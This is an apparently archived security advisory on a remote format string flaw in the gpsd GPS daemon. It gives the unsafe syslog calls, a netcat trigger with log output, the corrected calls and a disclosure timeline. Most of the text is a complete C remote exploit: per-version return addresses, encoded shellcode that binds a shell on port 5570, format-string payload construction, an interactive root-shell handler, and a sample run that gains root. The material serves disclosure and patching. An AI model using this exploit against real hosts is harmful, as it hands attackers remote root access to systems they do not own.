[UNIX] gpsd Format String Vulnerability

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  gpsd Format String Vulnerability
------------------------------------------------------------------------


SUMMARY

 <http://gpsd.berlios.de/> gpsd is "a service daemon that monitors a GPS 
attached to a host computer through a serial or USB port, making its data 
on the location/course/velocity of the sensor available to be queried on 
TCP port 2947 of the host computer".

A format string vulnerability in gpsd allows remote attackers to cause the 
program to execute arbitrary code.

DETAILS

Vulnerable Systems:
 * gpsd version 1.9.0 through version 2.7

The format string issue is in the gpsd_report() funciton. syslog() is used 
without a format specifier multiple times in gpsd.c.
/gpsd.c: syslog(LOG_ERR, buf);
/gpsd.c: syslog(LOG_NOTICE, buf);

and more recently :

/gpsd.c: syslog((errlevel == 0) ? LOG_ERR : LOG_NOTICE, buf);

There are very few gpsd_report() calls that contain "%s" and only one is 
an exploitable instance.

/gpsd.c: gpsd_report(1, "<= client: %s", buf);

Here is a sample run at triggering the vulnerability.

[root@threat gpsd-2.0]# /usr/sbin/gpsd -p /dev/ttyS0
[root@threat gpsd-2.0]# tail -f /var/log/messages

Sep 19 12:59:23 threat gpsd[9420]: gpsd: launching (Version 2.0)
Sep 19 12:59:23 threat gpsd[9420]: gpsd: listening on port 2947

[root@threat gpsd-2.0]# nc localhost 2947
AAAABBBB%x%x%x%x%x%x%x%x%x%x%x%x%x
GPSD,A=?,A=?,A=?,A=?,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1

The above netcat session generated the following Syslog messages.

Sep 19 13:00:08 threat gpsd[9420]: gpsd: closed GPS
Sep 19 13:00:08 threat gpsd[9420]: gpsd: opening GPS data source at 
/dev/ttyS0
Sep 19 13:00:08 threat gpsd[9420]: gpsd: setting speed 4800, 8 bits, no 
parity
Sep 19 13:00:08 threat gpsd[9420]: gpsd: gpsd_activate: opened GPS (6)
Sep 19 13:00:08 threat gpsd[9420]: gpsd: <= client:
AAAABBBBfefdf8f80647370673d3c203a696c63203a746e654141412042424241257825422578
2578257825782578257825782578
Sep 19 13:00:11 threat gpsd[9420]: gpsd: closed GPS

> From here you are dealing with a classic format string exploit.

Successful exploitation on a RedHat box gets you root, and on Debian you 
get uid=gpsd gid=dialout.

jdam:/home/kfinisterre/gps$ ./ex_gpsd -h 192.168.1.203 -t 12
# remote host 192.168.1.203.
Checking Remote version
GPSD VERSION: 2.6
# send exploit data.
[*] data sent 3389 bytes .
[*] data sent 2 bytes .
[+] Trying to exec shellcode on remote
[*] data sent 2 bytes .
[-] Waiting 5 seconds to connect to remote shell
[+] yes!
[*] Executed shell successfully !

Linux localhost.localdomain 2.4.20-8 #1 Thu Mar 13 17:18:24 EST 2003 i686 
athlon i386 GNU/Linux
uid=0(root) gid=0(root) 
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
stty: standard input: Invalid argument
[root@localhost /]# exit

To fix this vulnerability in ./gpsd.c you need to modify a few syslog 
calls. This may break existing gpsd_report() functionality. When the 
author(s) gets around to checking email and or reading the bug entries a 
new version will come out. This work around is strictly to prevent 
exploitation.

syslog(LOG_ERR, "%s", buf);
syslog(LOG_NOTICE, "%s", buf);
syslog((errlevel == 0) ? LOG_ERR : LOG_NOTICE, "%s", buf);

Timeline associated with this bug:
01/19/2005 attempts to notify all of the individuals working on the 
project via email were made. no response.
01/20/2005 BerliOS Developer bug ID #003087 Security Vulnerability ala 
syslog() was filed. no response.

Exploit:
/**
 ** Copyright Johnh and KF 2005
 **
 ** Gpsd remote format string exploit
 ** By: Johnh[at]digitalmunition[dot]com
 ** Bug Found By: kf[at]digitalmunition[dot]com
 ** http://www.digitalmunition.com/DMA[2005-0125a].txt
 **
 ** Features: Version ident
 **
 ** Debian machines provide uid=gpsd
 ** Redhat machines provide uid=root
 **
 ** Lots of JUMP_SLOT's provided but
 ** You can get or brute the shellcode
 ** addresses yourself.
 **/

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>

#define GPSD_PORT 2947

void sh(int st_sock_va);
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout);
int checkZero (long value);
char *putLong (char* ptr, long value);
int own_gpsd(int sock,int iType);
int check_version(int sock);
int exec_shellcode(int sock);
int usage(char *p);


struct
{
    unsigned long retloc; /* retloc of syslog */
    unsigned long retaddr;
    char *szDescription;
}targets[] =
    {

        // Brute the rest of the addresses your self...
        // syslog() , shellcode , version
        {0x0804f250,0x41424344, "gpsd-1.91-1.i386.rpm"}, // .rpms Tested 
on Redhat 9.0
        {0x0804f630,0x41424344, "gpsd-1.92-1.i386.rpm"},
        {0x0804e154,0x41424344, "gpsd-1.93-1.i386.rpm"},
        {0x0804f260,0x41424344, "gpsd-1.94-1.i386.rpm"},
        {0x0804f268,0x41424344, "gpsd-1.95-1.i386.rpm"},
        {0x41424344,0x41424344, "gpsd-1.96-1.i386.rpm"}, //broken rpm?
        {0x0804b14c,0x41424344, "gpsd-1.97-1.i386.rpm"},
        {0x0804c7a0,0x41424344, "gpsd-2.1-1.i386.rpm"},
        {0x0804c7a0,0x41424344, "gpsd-2.2-1.i386.rpm"},
        {0x0804c730,0xbfffd661, "gpsd-2.3-1.i386.rpm"},
        {0x0804c7b8,0xbfffde71, "gpsd-2.4-1.i386.rpm"},
        {0x0804c7dc,0xbfffdc09, "gpsd-2.5-1.i386.rpm"},
        {0x0804c730,0xbffff100, "gpsd-2.6-1.i386.rpm"},
        {0x0804c5bc,0xbfffcabc, "gpsd-2.7-1.i386.rpm"},
        {0x0804c7c4,0xbfffedc8, "gpsd_2.6-1_i386.deb"}, // .debs Tested on 
Debian GNU/Linux 3.1
        {0x0804c6c4,0xbfffc818, "gpsd_2.7-1_i386.deb"},
        {0x0804c770,0xbfffee70, "gpsd_2.7-2_i386.deb"},
        {0x0804c818,0xbfffe148, "SuSE 9.1 compiled 2.0"}, //compiled 
binary on local box for debug
        {0x0804b164,0xbfffd7d6, "Slackware 9.0 compiled 2.0"
        {0x0804c3ec,0xbfffe65c, "Slackware 9.0 compiled 2.7 "},
        {0x41424344,0xdeadbeef, "Debug "},

    },v;



int iType;

char shellcode[]=
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x16\x81\x73\x17\x13\x99"
"\x37\xe2\x83\xeb\xfc\xe2\xf4\x22\x42\xc0\x01\xa3\xff\x64\xa1\x40"
"\xda\x64\x6b\xf2\xd2\xfa\x62\x9a\x5e\x65\x84\x7b\x8c\xf5\xa1\x75"
"\xca\xbe\x03\xa3\x89\x67\xb3\x44\x10\xd6\x52\x75\x54\xb7\x52\x75"
"\x2a\x33\x2f\x93\xc9\x67\xb5\x9a\x78\x74\x52\x75\x54\xb7\x6b\xca"
"\x10\xf4\x52\x2c\xd0\xfa\x62\x52\x7b\xcf\xb3\x7b\xf7\x18\x91\x7b"
"\xf1\x18\xcd\x71\xf0\xbe\x01\x42\xca\xbe\x03\xa3\x92\xfa\x62";



//thanks sam
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
{
    int sock,
    flag,
    pe = 0;
    size_t pe_len;
    struct timeval tv;
    struct sockaddr_in addr;
    struct hostent* hp = NULL;
    fd_set rset;

    // reslov hosts
    hp = gethostbyname (host);
    if (NULL == hp) {
        perror ("tcpConnect:gethostbyname\n");
        return -1;
    }

    sock = socket (AF_INET, SOCK_STREAM, 0);
    if (-1 == sock) {
        perror ("tcpConnect:socket\n");
        return -1;
    }

    addr.sin_addr = *(struct in_addr *) hp->h_addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons (port);

    /* set socket no block
    */
    flag = fcntl (sock, F_GETFL);
    if (-1 == flag) {
        perror ("tcpConnect:fcntl\n");
        close (sock);
        return -1;
    }
    flag |= O_NONBLOCK;
    if (fcntl (sock, F_SETFL, flag) < 0) {
        perror ("tcpConnect:fcntl\n");
        close (sock);
        return -1;
    }

    if (connect (sock, (const struct sockaddr *) &addr,
                 sizeof(addr)) < 0 &&
            errno != EINPROGRESS) {
        perror ("tcpConnect:connect\n");
        close (sock);
        return -1;
    }

    /* set connect timeout
     * use millisecond
     */
    tv.tv_sec = timeout/1000;
    tv.tv_usec = timeout%1000;
    FD_ZERO (&rset);
    FD_SET (sock, &rset);

    if (select (sock+1, &rset, &rset, NULL, &tv) <= 0) {
        // perror ("tcpConnect:select");
        close (sock);
        return -1;
    }

    pe_len = sizeof (pe);

    if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
        perror ("tcpConnect:getsockopt\n");
        close (sock);
        return -1;
    }

    if (pe != 0) {
        errno = pe;
        close (sock);
        return -1;
    }

    if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
        perror ("tcpConnect:fcntl\n");
        close (sock);
        return -1;
    }

    pe = 1;
    pe_len = sizeof (pe);

    if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0){
        perror ("tcpConnect:setsockopt\n");
        close (sock);
        return -1;
    }
    return sock;
}


void sh(int st_sock_va)
{
    int died;
    char *command="uname -a; id; export TERM=vt100; exec bash -i\n";
    char readbuf[1024];
    fd_set rset;
    memset((char *)readbuf,0,sizeof(readbuf));
    fprintf(stdout,"[*] Executed shell successfully !\n\n");
    send(st_sock_va,command,strlen(command),0);

    for(;;)
    {
        fflush(stdout);
        FD_ZERO(&rset);
        FD_SET(st_sock_va,&rset);
        FD_SET(STDIN_FILENO,&rset);
        select(st_sock_va+1,&rset,NULL,NULL,NULL);

        if(FD_ISSET(st_sock_va,&rset))
        {
            died=read(st_sock_va,readbuf,sizeof(readbuf)-1);
            if(died<=0)
                exit(0);
            readbuf[died]=0;
            fprintf(stdout,"%s",readbuf);
        }
        if(FD_ISSET(STDIN_FILENO,&rset))
        {
            died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);
            if(died>0)
            {
                readbuf[died]=0;
                write(st_sock_va,readbuf,died);
            }
        }
    }
    return;
}




/*
 *check the \x00 byte
 */
int checkZero (long value)
{
    return !((value & 0x00ffffff) &&
             (value & 0xff00ffff) &&
             (value & 0xffff00ff) &&
             (value & 0xffffff00));

}
/*
 * put a address in mem, for little-endian
 *
 */
char*
putLong (char* ptr, long value)
{
    *ptr++ = (char) (value >> 0) & 0xff;
    *ptr++ = (char) (value >> 8) & 0xff;
    *ptr++ = (char) (value >> 16) & 0xff;
    *ptr++ = (char) (value >> 24) & 0xff;

    return ptr;
}


int main (int argc, char **argv)
{
    int c, sock, ret;
    char *hostName = NULL;

    if (argc < 3) {
        usage (argv[0]);
        return -1;
    }

    while((c = getopt(argc, argv, "h:t:")) != EOF) {
        switch(c) {
        case 'h':
            hostName = optarg;
            break;
        case 't':
            iType = atoi (optarg);
            break;
        default:
            usage (argv[0]);
            return 0;
        }
    }

if (argc < 2) { usage(argv[0]); exit(1); }

    if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
    {
        usage(argv[0]);
        printf("[-] Invalid type.\n");
        return 0;
    }

    printf ("# remote host %s. \n", hostName);

    sock = new_tcpConnect (hostName, GPSD_PORT, 9000);
    printf("Checking Remote version\n");
    check_version(sock);

    own_gpsd (sock,iType);
    close(sock);
    sock = new_tcpConnect (hostName, GPSD_PORT, 9000);
    printf("[+] Trying to exec shellcode on remote\n");
    exec_shellcode(sock);
    printf("[-] Waiting 5 seconds to connect to remote shell\n");
    sleep (5);
    if ((ret = new_tcpConnect (hostName, 5570, 9000)) < 0) {
        fprintf (stderr, "[-] failed :< \n");
        goto out;
    }

    printf ("[+] yes! \n");

    sh (ret);
out:
    close (ret);
    return 0;
}


int own_gpsd(int sock,int iType)
{
    int offset = 0x11;
    int dump_fmt=7;
    int al = 3;
    int hi,lo;
    int x;
    int ret;
    unsigned long shift0,shift1;
    char buf[90000];
    char fun[256];
    char *ptr;


    /* check zero byte */
    if (checkZero (targets[iType].retloc) || checkZero 
(targets[iType].retloc+2) ) {
        printf ("retloc has a null; <\n");
        exit (1);
    }

    hi = (targets[iType].retaddr >> 0) & 0xffff;
    lo = (targets[iType].retaddr >> 16) & 0xffff;


    shift0 = hi - offset - (dump_fmt * 8 + 16 + al);
    shift1 = (0x10000 + lo) - hi;

    memset(buf,0x41,3);
    ptr = buf+3;
    ptr = putLong (ptr, 0x42424242);
    ptr = putLong (ptr, targets[iType].retloc);
    ptr = putLong (ptr, 0x42424242);
    ptr = putLong (ptr, targets[iType].retloc+2);

    for (x=0;x<dump_fmt;x++)
        strcat(ptr,"%.8x");

    strcat(ptr,"%.");
    sprintf(ptr+strlen(ptr),"%u",shift0);
    strcat(ptr,"lx%hn");

    strcat(ptr,"%.");
    sprintf(ptr+strlen(ptr),"%u",shift1);
    strcat(ptr,"lx%hn");
    x = strlen(ptr);
    memset(ptr+x,0x90,3000);
    x+=3000;
    memcpy(ptr+x,shellcode,337);
    x+=337;

    printf ("# send exploit data. \n");
    sleep(1);
    ret = send (sock, buf, x, 0);
    printf ("[*] data sent %d bytes .\n", x);
    memcpy(fun,"l\n",2);
    ret = send (sock, fun, 2, 0);
    printf ("[*] data sent %d bytes .\n", ret);
    
    return 0;
}

//Had to connect to remote and send a string to make shellcode execute. No 
idea why. but it works so :)
int exec_shellcode(int sock) {
    int ret;
    char fun[256];

    memcpy(fun,"l\n",2);
    ret = send (sock, fun, 2, 0);
    printf ("[*] data sent %d bytes .\n", ret);

    return 0;
}

//Check remote version of gpsd. You may ask why because all verions are 
vuln but who knows :)
//When the vendor changes the code you can change this to detect a 
vuln/non vuln version
int check_version(int sock) {
        char *version;
        char buf_ver[256];
        char recv_buf[256];
        int ret;

        memcpy(buf_ver,"l\n",2);
        ret = send (sock, buf_ver, 2, 0);
        ret = recv(sock,recv_buf,sizeof(recv_buf),0);
        version = strtok(recv_buf," ");
        version = strtok(NULL," ");
        printf("GPSD VERSION: %s\n",version);

}


int usage(char *p)


{
    int i;
    printf( "Gpsd <= 2.7 remote formatstring exploit\r\nBy: 
johnh@secnetops.com\r\n");

    printf( "Usage: %s <-h host> <-t target>\n"
            "[type]\t[Description]\t\t\t[Retloc]\n", p);
    for(i=0;i<sizeof(targets)/sizeof(v);i++)
    {
        printf("%d\t%s\t\t0x%08lx\n", i, 
targets[i].szDescription,targets[i].retloc);
    }
    return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  
<mailto:kf_lists@digitalmunition.com> KF (Lists).
The original article can be found at:  
<http://www.digitalmunition.com/DMA[2005-0125a].txt> 
http://www.digitalmunition.com/DMA[2005-0125a].txt



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